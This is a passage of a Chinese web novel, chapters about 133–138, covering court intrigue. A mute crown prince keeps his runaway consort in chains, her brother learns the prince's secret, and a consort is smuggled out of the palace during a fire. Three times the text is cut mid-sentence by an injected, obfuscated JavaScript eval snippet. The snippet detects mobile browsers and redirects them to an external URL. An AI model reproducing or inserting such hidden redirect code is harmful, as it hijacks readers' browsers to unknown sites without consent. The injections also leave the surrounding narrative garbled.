像是讨好,又像是挑逗,李玄尧亲着江箐珂仍在捂嘴的手背。 这个节骨眼,明明不该笑的。 可江箐珂就是忍不住。 心里酸溜溜的同时,却也被李玄尧撩得甜滋滋的。 果然,美色当前,她也是个吃软不吃硬的孬种。 今朝有酒今朝醉。 花开堪折直须折。 左右之前都睡了那么多次,不多这一次。 先睡了,再想以后的事。 于是,细臂攀上李玄尧的脖颈,江箐珂在美色面前折了腰。 在对方吻得意乱情迷时,江箐珂冷不丁想起一件事来。 她立马将李玄尧的脸推开,然后又凶巴巴地冷声质问。 “我不在的这几日,你可跟新收的侧妃同房过?” 李玄尧正是上头难受之时,一双眼里燃着**,可还是隐忍摇头,无声启唇回答她的话。 【不曾。】 言落,他低头想要继续,却又**箐珂推开。 “那新纳的才人和良娣呢?” 呼吸急促温烫,李玄尧继续隐忍摇头。 浓眉紧拧,他眼巴巴地看着江箐珂,双手用力地比划了几下。 【我很干净。】 “你看吧。” 江箐珂忍不住又唧唧起来。 “就因为你身边女子多,我才会这般胡思乱想。” “每年都有新人选秀入宫,等以后我人老珠黄,如何比得过那些嫩得出水的娇妃美嫔。” “万花丛中过,想做到片叶不沾身,又谈何容易?” “人会老,心会变,尤其对你这种诱惑多的人来说。” 想亲昵的心思,皆**箐珂口中的现实所击退。 李玄尧翻身在她身侧躺下,缓了缓,态度严肃又认真地比划着。 【可我也会老。】 【等我老了,变丑了,你可会厌弃我?】 江箐珂眨眼想了想,一个异瞳白发老妖怪的模样立马浮出脑海。 可再想想,只要是仙气飘飘的那种老,好像也没那么吓人。 但若是成了父亲那样大腹便便的呢? 不好说。 她摇了摇头,坦言道:“不知道。” 李玄尧直直地看着她,气得失笑。 他起身下床,捡起衣袍要走,可走了几步,又顿步站在那里。 抬手挠了挠眉头,叹了口气,衣袍一甩,套在身上。 回身,上床,躺下。 扯过被子,揽腰将人禁锢在怀里。 将头埋在江箐珂的头发和颈窝间,他闭上了那双略显疲倦的眼。 鼻尖萦绕的香气,是他熟悉的气息。 每每闻起来,总是让他很安心,很好眠。 先睡吧。 睡醒后,总会想到万全之策的。 江箐珂这厢却小声嘟囔。 “我睡够了,你能不能放我起来?” 李玄尧伸出手来,霸道地捂住她的双眼,一条腿也抬起压在她的双腿上。 不困也得陪他睡。 耳边的呼吸渐趋平缓,听着听着,江箐珂便也跟着睡着了。 熟睡中,一个不经意的翻身,也不知是谁在迷迷糊糊中先吻了谁,气息便开始纠缠不清,体内的**愈燃愈烈,变得一发不可收拾。 谁也不去纠结以后,也不想计较对与错。 睡梦间的情动,皆出于本能,忠于本心。 纯粹的,不掺杂半点利益得失。 最美的韶华,最美的彼此。 缱绻悱恻间,江箐珂小声嘤咛。 “铁链解了,戴着不舒服。” 哗啦啦的几声,铁链坠地,发出清脆的声音。 “还有,我还不想生孩子。” 李玄尧听了,又在她耳边吐了个晦涩的“好”字。 声音很轻很轻,轻得江箐珂以为那只是一个吐息而已。 ...... 一室旖旎藏不住,透过窗缝流泻,静悄悄地于夜色中弥散开来。 此时夜色正好,玄月高悬。 天涯共此时,这边照的是缠绵,那边照的是离别。 就好比东宫的这场大火,喧宾夺主,抢了月色的风光,映红了大半的夜空。 “走水了!” “快!水!” 呼喊声此起彼伏,宫里的太监、侍卫们在曹公公的指挥下,纷纷提着水桶,急急奔走往来。 如此混乱之时,一辆马车却悄然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176167|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驶离了皇宫。 马车上,徐才人掀开斗篷的帽子,钻到穆珩的怀里。 她头倚偎在他的胸前,说起话来,声音仍是娇娇柔柔的。 “一定要常常来看我。” 穆珩一手搂着她,一手轻抚徐才人的肚子,低头吻在她的头顶。 “当然,只要得空,我就去看你。” “好好在那里养胎,等孩子出生满月,或许我就可以带着你和孩子,一起离开京城。” 徐才人窝在穆珩怀里,轻轻地“嗯”了一声:“我等你。” 手臂收紧,穆珩将人又往怀里抱了抱。 他眼睛有些泛红,却仍压着情绪。 “真是委屈你了,接下来要隐姓埋名,过着躲躲藏藏的日子。” 徐才人摇头,仰着可人的脸蛋,嫣然一笑。 “谁让我喜欢珩哥哥呢,只要能跟珩哥哥在一起,这点委屈算什么。” 穆珩目光坚定且诚恳地许诺。 “我穆珩此生定不负你。” 与此同时,皇宫里,另有一道身影也趁乱也出了宫。 那人步履匆匆,隐入夜色,又从夜色之中走出,踏进灯火通明的归宝阁后院。 “八哥儿见过先生。” 穆元雄放下手中的信笺,缓缓掀起眼皮,一双沉冷犀锐的眼睛看向八哥儿,微微点了下头。 “人送走了?”他沉声问。 “回先生,送走了,大公子亲自送出去的。” 穆元雄点了点头,随即又问:“皇上近几日龙体如何?” 八哥儿答。 “回先生,皇上近几日不仅气色好了许多,御膳也比前些日子用得多了,今日还拄着龙杖在养心殿的院子里透了透气。” 穆元雄意味深长地笑道:“那就好,希望不是……红光返照。” 八哥儿垂头没有接话。 “你在皇上身边也有两三年了吧?”穆元雄道。 八哥儿恭敬答道:“回先生,两年有余,三年未满。” “也不知道当初皇上为何会让你去养心殿侍奉,去了却又一直防着你。” 八哥儿低头又答。 “八哥儿愚笨,亦是猜不出皇上的心思。” 穆元雄语重心长道:“伴君如伴虎,你自己在宫里多加小心。若有何难处和委屈,尽管来同为师说,莫要让为师担心。” “谢先生挂怀,八哥儿定铭记先生恩德。” 穆元雄挥了挥手:“回去吧。” 待八哥儿走后,归宝阁的典当先生随即入内。 “启禀先生,少夫人那边已经安顿好了。” 穆元雄在书案前坐下,拿起桌上的一枚玉佩开始细细盘磨。 并冷声同那典当先生吩咐:“过些时日,把她藏到城外,待日后生的是男婴,便去母留子,到时做得干净些。” 第134章 只要给得了 世间百态,同一轮玄月下,万佛寺的那间禅房里刚刚熄了灯。 主仆二人陆续躺下准备入睡。 花容回了宫里,许多杂活便只能由鹂莺一人做。 忙碌了一天,鹂莺的头刚挨到枕头,就累得沉沉地睡了过去。 穆汐静悄悄地躺了大半会儿,待鹂莺打起了微弱的鼾声后,轻手轻脚地下了床。 从衣桁架扯下斗篷披上,她小心翼翼地推门出了那间禅房。 本就是皇家佛寺,这后院的禅房自然都是给宫里的贵人或者皇亲国戚备的。 是以,不比其他佛寺,因平日里少有人来佛寺焚香祈福,大半禅房都是空着的。 到了夜里,更显清幽僻静。 斗篷的衣摆如莲叶轻动,穆汐肆无忌惮地走过一段廊庑,来到一间禅房门前。 轻叩三声,房门半启。 一只大手伸出,直接将她揽腰拽了进去。 “小宝贝儿,你可算来了,真是让本王好等啊。” “来,快让本王好好疼疼你。” ...... 佛门净地,一场荒唐过后,穆汐的半个身子趴在十皇子李铮的身上。 一双玉足抬起,在半空中轻轻晃着。 粉嫩的手指在李铮的胸口,无聊地来回画着圈。 而李铮则意犹未尽地捏着她的腰肢,大有休息片刻后再来一次的架势。 他捏起穆汐的下巴尖,眼神黏腻,语调轻浮。 “真是看不出来。” “堂堂前太傅穆大人的女儿,竟如此会服侍人。” 李铮色眯眯的,笑起来是一脸的淫相。 “不愧是进过教坊司的,破过瓜后,比本王府上的那几个都带劲儿,勾得本王天天都想来。” “说,想要什么,本王有赏。” 眸光流转,穆汐思忖了片刻后,拿起床头的笔和纸。 【要什么,十殿下都给?】 李铮信誓旦旦道:“只要本王给得了。” 穆汐莞尔一笑,做的是风尘事,可举手抬足间仍端着京城贵女的娴静和矜持。 纸放在李铮的胸膛前,她提笔写了一行字。 【妾身想要太子折翅坠泥,一无所有。】 李铮怔怔然地看着那一行字,片刻后,脸上露出几许意外和欣喜之色。 他挑眉笑得意味极深。 “本王倒是想给,就是有些难度。” 穆汐会意。 【妾身愿助十殿下。】 李铮翻身压了上去,目光贪婪地随着双手在那身子上游移。 “若是你能助本王坐上那个位置,日后,宫里定有你一席之地。” 他舔唇奸笑道:“毕竟,你这伺候人的功夫,本王可馋得很,没了小宝贝儿,乐趣少一半啊。” ...... 翌日。 江箐珂醒来时,不出所料,那条铁链子又扣回到她的脚腕上。 她躺在床上,将双脚抬到半空抖了抖,铁链碰撞,发出几声清脆的声响。 一侧唇角歪起,江箐珂的眉间鼓起几许不满来。 “为什么不是金子打的?” “好歹也给涂层金啊。” “要是再挂上几个小铃铛,走起路来,当啷当啷地响,不是更好?” 正在套衣袍的手顿住了。 李玄尧眉头轻挑,转头看向床上的江箐珂,感到哭笑不得。 从没人对镣铐提过这种要求。 江箐珂想必是有史以来第一人。 就如同当初她对眼罩的要求一样,浮夸又另类。 李玄尧有时会想,明朗的人是不是都如她这般的与众不同。 心思从铁链上收回,江箐珂突然撑身坐起。 她要求道:“我想见见阿兄和喜晴。” 李玄尧点头同意了。 恰好有人叩门,似是有事禀报,李玄尧看了她一眼,便匆匆带上房门出去了。 闲来无事,江箐珂下床打量。 看家具摆件,不像客栈。 不经意回头间,她瞧见妆奁前摆着几个木匣子。 看起来像是她的那点儿嫁妆。 紧步走过去,她一一打开瞧了眼。 南珠步摇、点翠头面、红宝石银钗...... 数了数,一样也不少。 算李玄尧还有点良心。 低头看了看脚上的铁链子,江箐珂从那堆首饰里拿起了那支银钗。 钗子有两股簪子,她将其中一股的簪尖掰弯,弄成一个小钩子。 警惕地看了眼房门,她立马蹲下身去。 簪尖探进锁眼,江箐珂手法娴熟地勾动了几下,只听咔嗒一声,一侧脚腕上的镣铐轻而易举地就被她撬开了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184567|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她拎着那脚镣子,不屑地嗔笑了一声。 这破东西也想铐住她? 在西延,最不缺的是什么? 除了兵和马,就是锁战奴的镣铐。 为了防止战奴逃跑,西延的镣铐做得可比这个要复杂。 而且,儿时,张氏和江箐瑶母女总是买了好东西藏起来。 吃的东西藏,用的东西也藏。 江箐珂气不过,江止便带着她没少研究家里的各种锁头。 库房的锁头撬过,张氏的百宝箱撬过,江箐瑶的首饰盒也撬过。 后来被发现后,父亲便将她关在祠堂,跪在祖宗牌位前反省。 屋子关不住她,就给她上镣铐。 得了江止的真传,江箐珂时常撬开镣铐,一气之下离家出走,顺带着把库房里值钱的也顺走一件儿。 适时,屋外传来脚步声。 江箐珂心中一惊。 可不能让李玄尧知道她有这本事。 她紧忙把镣铐戴了回去,然后像个没事儿人似的站在那里摆弄首饰。 房门被人从外面打开,却是江止和喜晴被谷丰带了进来。 江箐珂立马走过去,将二人仔仔细细地瞧了一番。 所幸李玄尧不是**,真的没有对二人动用什么刑罚。 只是江止的手和脚都戴上了镣铐。 江箐珂好奇道:“阿兄是被抓进来的?” “啧。” “怎么说话呢?” “我能是被抓进来的吗?” 江止寻了把椅子,大喇喇地往那儿一坐。 本想翘个二郎腿抖抖的,无奈脚链太短,根本翘不起来,便只能将两只大长腿直直伸开,像个大爷似的坐在那里。 “我几个白眼儿的功夫没看着你,人就没了,老子能不急吗?” “找了半天也找不着你人,就想着不入虎穴焉得虎子,便冲回了客栈,自愿被抓的。” 唇角斜勾,他笑得随性而懒散,好像丝毫不在意此时的处境。 “这不就找到你了吗?” 说话间,目光落在江箐珂的侧颈上。 笑意突然凝滞,但随即又自然而然地从脸上退去。 收回视线,江止低头摆弄着手腕间的铁链,情绪看起来不是很好。 “怎么着,你是要跟着太子殿下回宫了?” 第135章 这可太熟悉了 “回去干嘛?” “回去看太子殿下登基,然后娶和亲公主?” “再每天早上起来,等着后宫的女人们给我请安?” 一提起这事儿,江箐珂便心烦得很,说起话来也不是什么好腔调。 若是没心没肺,无情无爱,她倒也能坐享这份尊贵。 可惜,现在办不到了。 她语气坚定道:“既然逃出来了,断没有再回去的道理。” 江止也不抬头,寒着脸,颓懒地坐在那里。 刻薄的语气还透着几许烦躁。 “把你那脖子遮遮,看起来特没骨气。” 乍一听,江箐珂没反应过来,捂着脖子怔了下。 待脑海里突然闪过几个画面后,她立马走到妆奁的铜镜前照了照。 粉红色的痕迹全都吻在了最明显的地方。 夜颜这个狗贼。 江箐珂恨得牙痒痒,紧忙找了条帕子系在脖子上遮挡。 江止掀眸没好气地横了她一眼,阴阳怪气道:“既要弃人而去,又要得睡且睡,咱家的满满挺风流啊?” 面子有些挂不住,江箐珂睁眼编着瞎话。 “那不是中了三步倒,昏迷不醒嘛。” “别提反抗保住骨气了,就是殿下对我做了什么,我都不知晓。” “阿兄当初不也被乐宁公主用药迷走,成了任人宰割的鱼肉?” 一句话,锋头调转,反倒换成江止面子难堪。 他呛声辩驳。 “都说了,老子跟她没睡!” 江箐珂不依不饶,定要在斗嘴上同江止争个尖儿。 “什么都没做,也不代表阿兄就清白啊。” “阿兄敢说,就没被公主占到半点便宜?” “衣服没被扒一件?” “身子没被摸一下?” “阿兄若说什么都没发生,我反正不信。” 一想到那日又被公主摸胸,又被公主亲嘴,又被捏了几下二两肉的,江止的气焰登时就灭了一大半。 嘴巴徒劳地启合了几下,最后还是心虚地放弃了反驳。 “正好,咱俩都扯平了。” 前言不搭后语,江箐珂听得云里雾里的。 “什么扯平了?” “没什么。” 江止语调慵懒地回了一句,掀眸朝江箐珂扫来。 不同于李玄尧的异瞳,江止的瞳色很深。 虽然看人时总是一副没睡醒的懒模样,可此时此刻,那双深邃沉静的眼睛却直直看进了江箐珂的眼底。 那隐在深海下的情绪,如冰山浮出水面的棱角一般,看得她心头抽跳了下,像被什么用力刺了似的。 说不清,道不明。 江箐珂只觉得今日的阿兄怪怪的。 氛围有些奇怪,江箐珂立马岔开话题。 “阿兄身上的银票呢?” 眼中的情绪收敛,江止冲着谷丰努了努下巴。 “都让那小磕巴给搜走了。” 没银子,怎么跑? 江箐珂感到七窍要生烟。 怕是真要当乞丐,四处讨肉包子回西延了。 背对谷丰,江箐珂挑眉,冲江止的手链脚铐递了个眼神。 仅仅一个眼神,两个人便该懂的都懂。 江止懒洋洋地坐在那里,不露声色地眨了下眼,给了江箐珂回应。 ...... 归宝阁的某个房间外,南星带着几名黑甲卫守在门前,禁止任何人靠近,包括归宝阁的典当先生。 屋内,一名衣着朴素低调的男子单膝跪地,正在同李玄尧低声禀报着京城的事。 “殿下离京这几日,朝中连有大臣上奏。” “言近半月内,大周境内屡现异象,或有农户于田畴之下掘得石碑,或有渔人自江河中捞出玉石,其上皆刻有妖诞怪异之辞。” “所载之言,多指妖物登帝,必令社稷倾危,天下动荡,生灵涂炭。” 闻言,李玄尧眉头紧蹙。 他很清楚,此事是冲他来的。 应该就是惠贵妃和十皇子的手笔。 【可有派人去验证查办?】 “首辅穆大人已吩咐密探去各处查石碑、玉石之事,抓捕造谣之人。” 眼下,穆元雄比任何人都希望他能顺利地登基即位。 只有他李玄尧坐上那个位置,他穆家才离那个位置更近一步。 在那之前,他们目的一致,仍是可以互相利用的同盟。 所以,此事由穆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184568|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元雄派人去查办,李玄尧是放心的。 而那下属面露担忧。 “偏偏这几日,皇上也命人在京城里散发消息,说殿下得仙人点化,获赐一双能辨忠奸的慧眼。” “只怕惠贵妃那边是看准了时机,要借此事大做文章了。” “京城形势不好,殿下还是早些回去为妙。” 李玄尧垂眸思忖,骨相极佳的手有意无意地打着指响。 待最后一声脆响落下后,唇角轻扬,一双异瞳里溢出几许玩味之色。 提笔落字,将宣纸塞给那属下看。 【如法炮制,就传九尾妖狐妲己现世,红颜祸水,祸乱朝纲,欲窃天下。】 那属下看后,眉目展开,笑叹道:“殿下这法子妙,这谶言一出,怕是大周百姓都要想那妖物是惠贵妃了。” 李玄尧浅浅勾唇,掀起身侧的香炉盖,将刚刚的那张纸扔进去,借着一点猩红将所有的字迹烧成了灰烬。 他随后又提笔问了一句。 【徐才人的事如何了?】 “回殿下,属下离京时,皇上和穆大人已经将事情都安排妥当了。” “按照计划,若无意外,徐才人昨晚应该就被送出了宫。” 李玄尧颔首,提笔给送信之人写了命令。 【赶回京城后,立刻安排人暗中盯着徐才人那边。】 【若有任何异动,本宫未至,就通知曹公公,但暂时勿要让穆大公子知晓。】 “属下遵命。” ...... “早,早早早膳过,过,过后,就,就出出,出发......” 谷丰正磕磕巴巴地同江箐珂说着今日的计划,房门在此刻吱呀而开。 只见李玄尧戴着那黑纱帷帽,宽袖长垂地踱步走了进来。 江止乍看第一眼,没在意。 刚要起身行君臣之礼,身子突然凝滞在了那里。 再抬眸扫向李玄尧时,他歪头仔细打量,是一副甚为眼熟的表情。 这身材,这装扮,这气场...... 他可太熟悉了啊。 江止看向江箐珂,朝李玄尧那侧努了努下巴。 那眼神仿佛在说:这不是你之前那姘头吗? 第136章 匪夷所思 目光交错的那刹那,江箐珂心虚又羞愧。 眼神飘开,垂在身侧的手紧张地攥成拳头。 她眼观鼻鼻观心,就是不好意思抬头正眼看江止。 谎言就要被揭晓,她如芒刺背,恨不得找个鼠洞钻进去,暂时躲一躲风头。 江止似乎回味过什么来,坐在那里歪头沉思了片刻。 嘶了口气,自言自语道:“等一下。” 他一脸费解地看了看李玄尧,目光又重新扫向江箐珂。 “满满。” 江止语气不太确定。 “如果阿兄没记错,前晚在茶楼里,那位戴狐狸面具的公子......你称他为殿下?” 江箐珂嗫喏回了声“昂”。 当时,江止整个神经都紧绷着,光顾着想如何寻找机会带江箐珂逃,以至于忽略了一些小细节。 现在他再看眼前这帷帽男子,他首先想起的便是太子身边那个见不得人的侍卫,江箐珂的前姘头。 “可这位......” 舌尖顶了下腮,江止仍有些懵地看向帷帽下的那张脸。 黑纱遮挡着面容,一如既往地见不得光。 而前夜茶楼里的太子戴的狐狸面具,又会是巧合吗? 他突然换了个问法。 “请问,太子殿下在何处?” 江箐珂伸出手指头,怯怯地冲着李玄尧的方向指了指。 江止会意。 心头的惊讶、错愕,让他一时间无所适从。 一侧嘴角气得歪起,带着那侧的眼睛都跟着半眯了起来。 他抬起被镣铐铐住的双手,搓了几下眉头。 “不是......” 他难以置信地再次看向江箐珂,“这是谁?” 江箐珂硬着头皮,一脸愧疚地低声言语。 “太子殿下。” 江止甚感荒唐。 “就之前,你那个......姘头?” 江箐珂点头如捣蒜。 江止偏头看着别处,气得直抖腿。 他冷静了好一会儿,再回头时,李玄尧已经站在江箐珂的身侧,一只手正搭在她的肩头上。 那可是他惯常搭放的地方。 而此时,那骨相极佳的手,正轻轻揉捏着江箐珂肩膀,看得异常地刺眼。 于是,江止转过头去,又问喜晴。 “你也知道?” 像做了多对不起江止的事儿一样,喜晴亦是小声嗫喏。 “还请大公子恕罪,奴婢也是身不由己” 江止仰头失笑了几声。 他摇头唏嘘。 “好家伙,敢情就老子一个局外人。” “也对,太子殿下嘛,要在下的命都可以,隐瞒身份又有何不可的。” “但是......” 江止脑子里明明乱得跟浆糊似的,可问题却是一个接着一个。 “那之前见的那个太子......又是谁?” “好好一位皇子,为何要搞替身?” “皇上可知晓李代桃僵?” “过些日子,太子登基,又是谁坐上那个位置?” 就在这个问题出口时,李玄尧摘掉了帷帽。 一双异瞳目光沉冷锋锐,直直地看向江止的眼底。 江止当场吓得一激灵,一句“卧槽”,双手双脚抬起,本能地要缩成一团,往椅子里躲。 却因脚上的镣铐,一脚踩空,带着身子差点从椅子上摔下去。 江止盯着那双异瞳,一个动作保持了好一会儿。 对于这种反应,这种异样又惊恐的眼神,李玄尧似是早已习惯,脸上并无任何的情绪波动。 倒是江箐珂在一旁瞧着,不由地心疼起李玄尧来。 “阿兄不觉得这双眼睛很特别,很好看吗?” 一句话把江止的魂儿给勾了回来。 他勉为其难地点头笑道:“啊!好看!好看,你喜欢就好。” 待江止回过神来,江箐珂耐着性子,将东宫的秘密大致同江止说了一遍。 异瞳的冲击尚未彻底消化,又是一个惊天大秘密,如天雷一般,劈得江止脑子嗡嗡作响。 他歪头张着嘴,难以置信地看着李玄尧,开始怀疑自己是不是昨夜睡觉时就被人给弄死了。 怎么所见之人,所听之事,竟如此匪夷所思? 他迟疑道:“太子殿下,真是个......哑巴?” 李玄尧眨眼颔首。 江止沉浸在双样冲击中,迟迟缓不过神来。 半晌,他自己在那里叨咕着。 “这都什么乱七八糟的?” “老子是不靠谱,你们......” 意识到自己说不得当朝太子,江止只能冲着江箐珂一人道:“你这是离谱。” “江箐珂!” “你真是越来越有种了。” “这么大的事儿,都敢背着阿兄藏秘密了。” 被人欺骗隐瞒的滋味不好受,江箐珂比任何都清楚。 本以为这辈子都无需让江止知道这个真相,没想到今天这层窗户纸就被捅破了。 她急步上前,端着一副可怜兮兮求原谅的样子,拽了拽江止的衣袖,小声安慰他心底的那股火气。 “阿兄莫气。” “其实,这个姘头是太子的事,我也是前不久才知晓的。” “之所以不告诉阿兄,一来,本也不是什么好事,我亦有自己的苦衷,同阿兄说了,阿兄也只能跟着干操心。” “二来,这东宫的秘密自是知道的人越少越好,只怕有什么祸事再牵连阿兄。” 江止的双手撑在膝盖的,弓着身子,头垂得低低的,陷入了长长的沉默。 房内突然安静了下来,氛围也变得沉闷严肃。 李玄尧拉起江箐珂的手,带着她走到茶桌前坐下。 待江止冷静够了,他突然起身,隔着不远不近的距离,朝着李玄尧拱手行了个君臣之礼。 “江止拜见太子殿下。” “之前是有眼不识泰山,多有冒犯,还请太子殿下恕罪。” 李玄尧颔首,神色清冷地浅浅一笑。 上位者的矜贵和威严渗透在每个眼神和举止间。 随后,江止又一本正经地问。 “既是东宫机密,不知太子殿下今日因何愿与在下明言?” 江箐珂亦是好奇。 而李玄尧微微侧眸,同谷丰递了个眼神。 谷丰上前代为回道:“殿殿殿,殿下,是,因因因......江,江江,江大公子,所所所,所赠,军军,军,军令牌......” 江止实在没耐心听到最后,立马挥手示意谷丰打住。 “明明明,明白了,不不不,不用你再说了。” 谷丰点了点头,抿着嘴巴又退回到喜晴身旁。 喜晴抬手捂着嘴,低头憋笑。 谷丰悻悻,用胳膊肘撞了下她。 第137章 讨欢心 李玄尧打算吃过早膳,就带江箐珂,离开长洲,赶回京城。 北上运河是逆流,他决定走陆路。 快马加鞭,连夜赶程,不出三、四日,就能到京城。 饭桌上,江止借着手戴镣铐不便,开始使唤江箐珂投喂。 “给阿兄夹个包子。” 江箐珂夹了个包子放在了江止的碗里。 李玄尧虽是斯斯文文地吃着,可一张脸阴沉沉的,余光始终关注着两人。 偏偏江止得寸进尺,张着嘴啊啊地讨食,晃了晃手上的铐链,示意江箐珂喂他。 无奈,江箐珂只好又夹起包子送到他嘴边,并没好气抱怨了一句:“真麻烦。” 江止一口下去,就是半个包子。 嚼吧嚼吧,又冲身前的那碗粥努了努下巴。 “再给阿兄来口粥。” 闻言,江箐珂又端起粥碗递到江止嘴边。 江止吃什么都是大口大口的,吸溜几下,半碗粥喝了下去,将那嚼碎的半个包子也一带顺了下去。 “再给阿兄夹口小菜。” 江箐珂唇角抽动了一下,但还是照做。 “那盘椒盐炸小鱼也给阿兄来一条。” 炸小鱼又丝滑地送到了他嘴边。 “有点干巴,再给阿兄来口粥。” 阿兄、阿兄...... 阿兄你妹啊阿兄。 秀眉挑了挑,江箐珂深吸一口气,还是端起粥碗喂江止。 吸溜吸溜,半碗粥喝光了。 江止又道:“再给阿兄剥个茶叶蛋。” 美眸圆睁,江箐珂没了耐性,压着声音凶道:“有完没完?” 江止晃了晃手里的铐链,低声同江箐珂讨起理来。 “老子这样因为谁?” “让你喂几口饭就不耐烦了?” “怎么着,用人朝前,不用人朝后啊?” 江箐珂又被怼怂了,伸手刚要去拿茶叶蛋,一旁的李玄尧却是忍不住了。 啪地一下,筷子被重重地拍放在桌上。 目光越过江箐珂,他微微侧眸乜向江止,水蓝色的瞳眼宛若泉水冰封,蓝幽幽的,目光冷得摄人。 江箐珂知道,李玄尧这是生气了。 推心置腹,可能是嫌她喂阿兄,没喂过他? 哄还是不哄? 这一瞬间,江箐珂犹豫了。 反正还是要逃的,哄这一下,又有何意义? 而就在她犹豫之间,李玄尧缓缓起身,绕到江止身侧,脚一勾,将椅子拖到他身后。 甩袍落座,拿起一个茶叶蛋,几下剥好,送到了江止的嘴边。 江止偏头躲开。 “这......” “不合适吧。” 干巴巴赔笑的同时,他频频摆着双手拒绝。 “在下这等卑贱之身,哪能让太子殿下亲手喂呢。” “未来大周国君,在下承受不起。” “自己来,自己来。” 从李玄尧手里接过鸡蛋,江止塞到嘴里。 那一贯的随性作风,丝毫不在乎食不言的礼数,含糊不清地说了两句话后,起身下了桌。 “饱了。” “殿下慢用。” 简简单单的一顿早饭过后,江箐珂便被李玄尧抱上马车,带着一伙人离开了花开正盛的长洲城。 趴在窗口,看着渐渐远去的花城,江箐珂撅着嘴,神色恹恹地坐回了车内。 “好不容易来次长洲,都没正经逛过玩过,这就要走了。” 李玄尧冲着江箐珂手语比划。 【以后有时间,我再带你来。】 以后有时间? 那是多远后的以后? 江箐珂根本不再抱什么期待,一脸死气地靠坐在那里,懒声反驳。 “你现在都没时间陪我在这里多逗留个一两日,等你当了君王,朝政缠身,又哪来的时间?” “不过是哄人的话罢了。” 李玄尧无言以对。 默了须臾,似是怕手语传达不准确,他提笔写字。 【抱歉,想给你很多,但总是力不从心。】 【许诺过你的,日后定会做到。】 眸眼动了动,江箐珂凑到李玄尧的脸前,认真又直白地同他道:“夜颜,我想要的其实也不多,就看你愿不愿意给。” 李玄尧似是很清楚她想要的是什么,只是静静地看着她,没有主动问她想要的是什么。 可江箐珂还是想要一个答案。 一双眼睛清凌凌的,她笑道:“我就问一遍,你想好了再答。” 李玄尧仍是默默地看着她,不点头,也不摇头,唯有握着她的手,一紧再紧,似乎很怕她接下来的问题。 “江山和我,你选哪一个?” “或者说,就今天,你可愿让马车调头,带我走吗?” 没有片刻的犹豫,李玄尧便摇头给了江箐珂答案。 他立刻提笔写理由给她。 【若是就此放弃京城的一切,那我这么多年的坚持和筹谋,又成了什么?】 【京城还有父皇在,我不能让他失望。】 江箐珂莞尔,点头表示理解。 “殿下所言极是。” “怪我不懂事,问的问题太刻薄、任性了。” 她正身要挪开,李玄尧却抓着她的手不放,目光幽幽地看着她,似乎在祈求她的谅解。 江箐珂扯着唇角,顶着一副极其明耀灿烂的笑脸。 “我没生气。” “真的,就是问问而已。” “殿下的选择是对的。” “换我,我也跟殿下做一样的选择。” “谢谢殿下没骗我,说了实话。” 一声声“殿下”听得李玄尧红了眼,他立马提笔又写了一行字。 【可我也要跟小满长长久久。】 江箐珂看后,面色却不为之所动。 这次选了江山,下次他还是会选江山。 随着他为江山社稷投入的坚持和辛劳越来越多,李玄尧会更加地放不下,到时只会委屈她一再妥协。 最怕的便是她越爱越深,而他能分给她的爱却越来越少。 世事无常,人心无恒。 而她活到这么大,最在乎的就是“公平”二字。 江箐珂佯做很受感动,清脆地回了声“好”,将在宫里学会的虚伪发挥得淋漓尽致。 隐藏真心,藏起情绪,才能好好保护自己,骗过别人的眼睛。 头一低,话题陡转。 江箐珂抖了抖脚上的链子,噘嘴嘟囔道:“那殿下要铐我铐到何时?脚上一直戴着这个很不方便。” 李玄尧显然是不放心,摇头拒绝,告诉她要回到京城后再解开。 “那我的银票呢?” 她伸手朝李玄尧要。 李玄尧摇头,意思不给。 江箐珂立马就换了调性,凶巴巴地嘲讽起李玄尧来。 “堂堂一国太子,未来大周天子,要什么没有,竟然好意思贪一女子的嫁妆钱?” 她用力抖手讨要。 “快给我。” 李玄尧允诺回去加倍给她。 江箐珂不依不饶。 “不行,信不着,就现在。” 见李玄尧垂眸坐在那里无动于衷,江箐珂就凶道:“快点!” 对方没反应。 声音降了一掉,江箐珂斜眼看他,慢声:“快~~点~~” 李玄尧跟耳朵也聋了似的。 江箐珂便又扑到他身侧,将下巴尖搭在李玄尧的肩头上,小小声地撒起娇来。 “快点嘛。” 李玄尧终于有了反应。 他偏头看向肩头的那张小脸,近在咫尺,五官清晰无比,清丽可人的模样,总是惹人想要狠狠蹂躏一番,看着她眼含春水地嘤咛求饶。 唇角轻扬,他从怀里掏出了两沓银票。 【要想拿回去,就先讨我开心。】 “怎么讨你欢心?” 李玄尧眼神玩味,手语问她。 【你猜。】 第138章 是她主动的 “谁稀罕猜。” 江箐珂懒得装了,愤愤推了李玄尧一把,身子坐正。 想翘个二郎腿,却又被铁链绊住,便只能规规矩矩地坐着。 